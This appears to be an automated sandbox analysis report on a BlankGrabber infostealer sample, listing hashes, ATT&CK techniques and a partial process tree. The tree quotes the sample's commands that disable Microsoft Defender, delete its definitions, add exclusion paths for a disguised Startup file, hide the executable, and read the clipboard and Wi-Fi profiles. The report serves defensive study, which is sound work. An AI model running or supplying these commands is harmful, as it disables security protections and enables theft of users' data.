blankgrabber | 4856319325a833da3168a95cdba27a106c2766f1f3a7561064d2a13eb4ca6976

Analysis

user interaction
yes
max time kernel
150s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/07/2026, 16:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lib.exe
Size 10.3MB
Sample260708-vaaahadz4y
SHA256 4856319325a833da3168a95cdba27a106c2766f1f3a7561064d2a13eb4ca6976
MD5 085cfdecb9ca681c276a602067ee2707
SHA1 b1fef1d1fd87b057c045ac951892e3acb034dbc2
SHA512 1c43d14a619a8df829d34568916155e62777bd17c0a5039c19f64b3252586ab3f46fd673a8bdbac1dc069cdd591b2596d7cadac0afd8324ffd4d8a6cf59be043
SSDEEP 196608:hD2QUqpeZwmW165jZIP/gvELpYTS0Mzyp4ZAM9qxz/gcrbMyDn5by:hDSSqvIyT/Mzyp4Z/wOcrbBby
TLSH
T106B6334967E811F2ECE750BD9666E83ABB7AF8011F95C68F433853302E175E14A3E721
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution blankgrabber persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Family: blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
stealer blankgrabber

A stealer written in Python and packaged with Pyinstaller 1 IoCs

resource	yara_rule
behavioral2/files/0x0009000000016bca-208.dat	blankgrabber_exe

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
984	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1040	powershell.exe
2796	powershell.exe
4240	powershell.exe
4412	powershell.exe
4424	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1040	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	lib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5060	cmd.exe
5516	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2188	rar.exe

Loads dropped DLL 18 IoCs

pid	Process
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe
5400	lib.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
756	tasklist.exe
4984	tasklist.exe
3848	tasklist.exe
4844	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4604	cmd.exe

UPX packed file 60 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c551-34.dat	upx
behavioral2/memory/5400-37-0x00007FF986D30000-0x00007FF98739B000-memory.dmp	upx
behavioral2/files/0x000500000001b89e-40.dat	upx
behavioral2/files/0x000d00000001c54e-42.dat	upx
behavioral2/memory/5400-43-0x00007FF99F7E0000-0x00007FF99F807000-memory.dmp	upx
behavioral2/memory/5400-46-0x00007FF9A1590000-0x00007FF9A159F000-memory.dmp	upx
behavioral2/files/0x000400000001b863-45.dat	upx
behavioral2/memory/5400-49-0x00007FF99F7C0000-0x00007FF99F7DA000-memory.dmp	upx
behavioral2/files/0x000d00000001c542-50.dat	upx
behavioral2/memory/5400-51-0x00007FF99F640000-0x00007FF99F66B000-memory.dmp	upx
behavioral2/files/0x000d00000001c546-53.dat	upx
behavioral2/memory/5400-55-0x00007FF99F340000-0x00007FF99F34D000-memory.dmp	upx
behavioral2/files/0x000d00000001c54a-54.dat	upx
behavioral2/memory/5400-58-0x00007FF99F330000-0x00007FF99F33F000-memory.dmp	upx
behavioral2/files/0x000d00000001c541-60.dat	upx
behavioral2/files/0x000d00000001c54d-62.dat	upx
behavioral2/memory/5400-63-0x00007FF99DF30000-0x00007FF99DF46000-memory.dmp	upx
behavioral2/memory/5400-65-0x00007FF9867F0000-0x00007FF986D21000-memory.dmp	upx
behavioral2/files/0x000d00000001c547-66.dat	upx
behavioral2/files/0x000d00000001c554-68.dat	upx
behavioral2/memory/5400-70-0x00007FF99DF10000-0x00007FF99DF29000-memory.dmp	upx
behavioral2/memory/5400-69-0x00007FF986D30000-0x00007FF98739B000-memory.dmp	upx
behavioral2/files/0x000d00000001c549-72.dat	upx
behavioral2/files/0x000d00000001c54f-74.dat	upx
behavioral2/memory/5400-79-0x00007FF9997C0000-0x00007FF99988E000-memory.dmp	upx
behavioral2/memory/5400-78-0x00007FF99F7E0000-0x00007FF99F807000-memory.dmp	upx
behavioral2/memory/5400-77-0x00007FF99DEC0000-0x00007FF99DEF3000-memory.dmp	upx
behavioral2/memory/5400-76-0x00007FF99DF00000-0x00007FF99DF0D000-memory.dmp	upx
behavioral2/files/0x000d00000001c548-85.dat	upx
behavioral2/memory/5400-88-0x00007FF99ABF0000-0x00007FF99AC15000-memory.dmp	upx
behavioral2/files/0x000d00000001c563-87.dat	upx
behavioral2/memory/5400-90-0x00007FF999630000-0x00007FF9997BA000-memory.dmp	upx
behavioral2/files/0x000d00000001c564-93.dat	upx
behavioral2/memory/5400-95-0x00007FF999570000-0x00007FF999622000-memory.dmp	upx
behavioral2/memory/5400-126-0x00007FF99F330000-0x00007FF99F33F000-memory.dmp	upx
behavioral2/memory/5400-154-0x00007FF9867F0000-0x00007FF986D21000-memory.dmp	upx
behavioral2/memory/5400-153-0x00007FF99DF30000-0x00007FF99DF46000-memory.dmp	upx
behavioral2/memory/5400-185-0x00007FF99DEC0000-0x00007FF99DEF3000-memory.dmp	upx
behavioral2/memory/5400-191-0x00007FF986D30000-0x00007FF98739B000-memory.dmp	upx
behavioral2/memory/5400-204-0x00007FF99ABF0000-0x00007FF99AC15000-memory.dmp	upx
behavioral2/memory/5400-205-0x00007FF999630000-0x00007FF9997BA000-memory.dmp	upx
behavioral2/memory/5400-207-0x00007FF9997C0000-0x00007FF99988E000-memory.dmp	upx
behavioral2/memory/5400-301-0x00007FF999630000-0x00007FF9997BA000-memory.dmp	upx
behavioral2/memory/5400-287-0x00007FF986D30000-0x00007FF98739B000-memory.dmp	upx
behavioral2/memory/5400-318-0x00007FF999570000-0x00007FF999622000-memory.dmp	upx
behavioral2/memory/5400-303-0x00007FF986D30000-0x00007FF98739B000-memory.dmp	upx
behavioral2/memory/5400-317-0x00007FF999630000-0x00007FF9997BA000-memory.dmp	upx
behavioral2/memory/5400-315-0x00007FF9997C0000-0x00007FF99988E000-memory.dmp	upx
behavioral2/memory/5400-316-0x00007FF99ABF0000-0x00007FF99AC15000-memory.dmp	upx
behavioral2/memory/5400-314-0x00007FF99DEC0000-0x00007FF99DEF3000-memory.dmp	upx
behavioral2/memory/5400-313-0x00007FF99DF00000-0x00007FF99DF0D000-memory.dmp	upx
behavioral2/memory/5400-312-0x00007FF99DF10000-0x00007FF99DF29000-memory.dmp	upx
behavioral2/memory/5400-311-0x00007FF9867F0000-0x00007FF986D21000-memory.dmp	upx
behavioral2/memory/5400-310-0x00007FF99DF30000-0x00007FF99DF46000-memory.dmp	upx
behavioral2/memory/5400-309-0x00007FF99F330000-0x00007FF99F33F000-memory.dmp	upx
behavioral2/memory/5400-308-0x00007FF99F340000-0x00007FF99F34D000-memory.dmp	upx
behavioral2/memory/5400-307-0x00007FF99F640000-0x00007FF99F66B000-memory.dmp	upx
behavioral2/memory/5400-306-0x00007FF99F7C0000-0x00007FF99F7DA000-memory.dmp	upx
behavioral2/memory/5400-305-0x00007FF9A1590000-0x00007FF9A159F000-memory.dmp	upx
behavioral2/memory/5400-304-0x00007FF99F7E0000-0x00007FF99F807000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3384	cmd.exe
4592	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2096	cmd.exe
3240	netsh.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3696	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2784	systeminfo.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-200172840-2662118501-695741713-1000_Classes\Local Settings	taskmgr.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4592	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4412	powershell.exe
1040	powershell.exe
4424	powershell.exe
4412	powershell.exe
4412	powershell.exe
4424	powershell.exe
4424	powershell.exe
1040	powershell.exe
1040	powershell.exe
2680	WMIC.exe
2680	WMIC.exe
2680	WMIC.exe
2680	WMIC.exe
5516	powershell.exe
5516	powershell.exe
4464	powershell.exe
4464	powershell.exe
5516	powershell.exe
4464	powershell.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
712	powershell.exe
712	powershell.exe
712	powershell.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
3716	WMIC.exe
3716	WMIC.exe
3716	WMIC.exe
3716	WMIC.exe
5444	WMIC.exe
5444	WMIC.exe
5444	WMIC.exe
5444	WMIC.exe
5956	taskmgr.exe
5956	taskmgr.exe
3284	WMIC.exe
3284	WMIC.exe
3284	WMIC.exe
3284	WMIC.exe
4240	powershell.exe
4240	powershell.exe
4240	powershell.exe
5956	taskmgr.exe
3696	WMIC.exe
3696	WMIC.exe
3696	WMIC.exe
3696	WMIC.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5956	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4412	powershell.exe
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	756	tasklist.exe
Token: SeDebugPrivilege	4984	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2680	WMIC.exe
Token: SeSecurityPrivilege	2680	WMIC.exe
Token: SeTakeOwnershipPrivilege	2680	WMIC.exe
Token: SeLoadDriverPrivilege	2680	WMIC.exe
Token: SeSystemProfilePrivilege	2680	WMIC.exe
Token: SeSystemtimePrivilege	2680	WMIC.exe
Token: SeProfSingleProcessPrivilege	2680	WMIC.exe
Token: SeIncBasePriorityPrivilege	2680	WMIC.exe
Token: SeCreatePagefilePrivilege	2680	WMIC.exe
Token: SeBackupPrivilege	2680	WMIC.exe
Token: SeRestorePrivilege	2680	WMIC.exe
Token: SeShutdownPrivilege	2680	WMIC.exe
Token: SeDebugPrivilege	2680	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2680	WMIC.exe
Token: SeRemoteShutdownPrivilege	2680	WMIC.exe
Token: SeUndockPrivilege	2680	WMIC.exe
Token: SeManageVolumePrivilege	2680	WMIC.exe
Token: 33	2680	WMIC.exe
Token: 34	2680	WMIC.exe
Token: 35	2680	WMIC.exe
Token: 36	2680	WMIC.exe
Token: SeDebugPrivilege	3848	tasklist.exe
Token: SeDebugPrivilege	5516	powershell.exe
Token: SeIncreaseQuotaPrivilege	2680	WMIC.exe
Token: SeSecurityPrivilege	2680	WMIC.exe
Token: SeTakeOwnershipPrivilege	2680	WMIC.exe
Token: SeLoadDriverPrivilege	2680	WMIC.exe
Token: SeSystemProfilePrivilege	2680	WMIC.exe
Token: SeSystemtimePrivilege	2680	WMIC.exe
Token: SeProfSingleProcessPrivilege	2680	WMIC.exe
Token: SeIncBasePriorityPrivilege	2680	WMIC.exe
Token: SeCreatePagefilePrivilege	2680	WMIC.exe
Token: SeBackupPrivilege	2680	WMIC.exe
Token: SeRestorePrivilege	2680	WMIC.exe
Token: SeShutdownPrivilege	2680	WMIC.exe
Token: SeDebugPrivilege	2680	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2680	WMIC.exe
Token: SeRemoteShutdownPrivilege	2680	WMIC.exe
Token: SeUndockPrivilege	2680	WMIC.exe
Token: SeManageVolumePrivilege	2680	WMIC.exe
Token: 33	2680	WMIC.exe
Token: 34	2680	WMIC.exe
Token: 35	2680	WMIC.exe
Token: 36	2680	WMIC.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeIncreaseQuotaPrivilege	4424	powershell.exe
Token: SeSecurityPrivilege	4424	powershell.exe
Token: SeTakeOwnershipPrivilege	4424	powershell.exe
Token: SeLoadDriverPrivilege	4424	powershell.exe
Token: SeSystemProfilePrivilege	4424	powershell.exe
Token: SeSystemtimePrivilege	4424	powershell.exe
Token: SeProfSingleProcessPrivilege	4424	powershell.exe
Token: SeIncBasePriorityPrivilege	4424	powershell.exe
Token: SeCreatePagefilePrivilege	4424	powershell.exe
Token: SeBackupPrivilege	4424	powershell.exe
Token: SeRestorePrivilege	4424	powershell.exe
Token: SeShutdownPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeSystemEnvironmentPrivilege	4424	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe
5956	taskmgr.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5956	taskmgr.exe
5956	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1364 wrote to memory of 5400	1364	lib.exe	88
PID 5400 wrote to memory of 1876	5400	lib.exe	89
PID 5400 wrote to memory of 2036	5400	lib.exe	90
PID 5400 wrote to memory of 4604	5400	lib.exe	91
PID 5400 wrote to memory of 5068	5400	lib.exe	94
PID 5068 wrote to memory of 4412	5068	cmd.exe	97
PID 1876 wrote to memory of 4424	1876	cmd.exe	98
PID 4604 wrote to memory of 1376	4604	cmd.exe	99
PID 2036 wrote to memory of 1040	2036	cmd.exe	100
PID 5400 wrote to memory of 2924	5400	lib.exe	101
PID 5400 wrote to memory of 1132	5400	lib.exe	102
PID 5400 wrote to memory of 4916	5400	lib.exe	105
PID 5400 wrote to memory of 5060	5400	lib.exe	107
PID 5400 wrote to memory of 3840	5400	lib.exe	108
PID 2924 wrote to memory of 756	2924	cmd.exe	109
PID 5400 wrote to memory of 2592	5400	lib.exe	110
PID 5400 wrote to memory of 2096	5400	lib.exe	113
PID 1132 wrote to memory of 4984	1132	cmd.exe	117
PID 5400 wrote to memory of 5612	5400	lib.exe	115
PID 5400 wrote to memory of 5220	5400	lib.exe	119
PID 5400 wrote to memory of 416	5400	lib.exe	121
PID 3840 wrote to memory of 3848	3840	cmd.exe	123
PID 4916 wrote to memory of 2680	4916	cmd.exe	124
PID 5060 wrote to memory of 5516	5060	cmd.exe	125
PID 2592 wrote to memory of 2448	2592	cmd.exe	126
PID 2096 wrote to memory of 3240	2096	cmd.exe	128
PID 5220 wrote to memory of 5196	5220	cmd.exe	129
PID 5612 wrote to memory of 2784	5612	cmd.exe	130
PID 416 wrote to memory of 4464	416	cmd.exe	131
PID 5400 wrote to memory of 3516	5400	lib.exe	132
PID 3516 wrote to memory of 2876	3516	cmd.exe	135
PID 5400 wrote to memory of 1156	5400	lib.exe	136
PID 4464 wrote to memory of 5296	4464	powershell.exe	138
PID 1156 wrote to memory of 1740	1156	cmd.exe	139
PID 5296 wrote to memory of 936	5296	csc.exe	140
PID 5400 wrote to memory of 4980	5400	lib.exe	141
PID 5400 wrote to memory of 1832	5400	lib.exe	142
PID 1832 wrote to memory of 2468	1832	cmd.exe	145
PID 4980 wrote to memory of 4404	4980	cmd.exe	146
PID 5400 wrote to memory of 2988	5400	lib.exe	147
PID 5400 wrote to memory of 2424	5400	lib.exe	149
PID 2988 wrote to memory of 4844	2988	cmd.exe	151
PID 2424 wrote to memory of 1268	2424	cmd.exe	152
PID 5400 wrote to memory of 804	5400	lib.exe	153
PID 804 wrote to memory of 1960	804	cmd.exe	155
PID 5400 wrote to memory of 5284	5400	lib.exe	156
PID 5284 wrote to memory of 5192	5284	cmd.exe	158
PID 5400 wrote to memory of 2200	5400	lib.exe	159
PID 2200 wrote to memory of 2556	2200	cmd.exe	161
PID 2036 wrote to memory of 984	2036	cmd.exe	162
PID 5400 wrote to memory of 1436	5400	lib.exe	164
PID 1436 wrote to memory of 2796	1436	cmd.exe	166
PID 5400 wrote to memory of 1924	5400	lib.exe	167
PID 1924 wrote to memory of 712	1924	cmd.exe	169
PID 5400 wrote to memory of 6024	5400	lib.exe	170
PID 6024 wrote to memory of 2188	6024	cmd.exe	172
PID 5400 wrote to memory of 1524	5400	lib.exe	173
PID 1524 wrote to memory of 3716	1524	cmd.exe	175
PID 5400 wrote to memory of 4568	5400	lib.exe	176
PID 4568 wrote to memory of 5444	4568	cmd.exe	178
PID 5400 wrote to memory of 3600	5400	lib.exe	179
PID 3600 wrote to memory of 3284	3600	cmd.exe	181
PID 5400 wrote to memory of 2248	5400	lib.exe	182
PID 2248 wrote to memory of 4240	2248	cmd.exe	184

Views/modifies file attributes 1 TTPs 3 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1376	attrib.exe
1740	attrib.exe
2468	attrib.exe

C:\Users\Admin\AppData\Local\Temp\lib.exe
"C:\Users\Admin\AppData\Local\Temp\lib.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1364
- C:\Users\Admin\AppData\Local\Temp\lib.exe
  "C:\Users\Admin\AppData\Local\Temp\lib.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:5400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\lib.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\lib.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1040
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\lib.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4604
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\lib.exe"
      4⤵
      Views/modifies file attributes
      PID:1376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ ‏ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍ ‏ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2924
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1132
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:5060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2592
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:2096
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5612
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:2784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5220
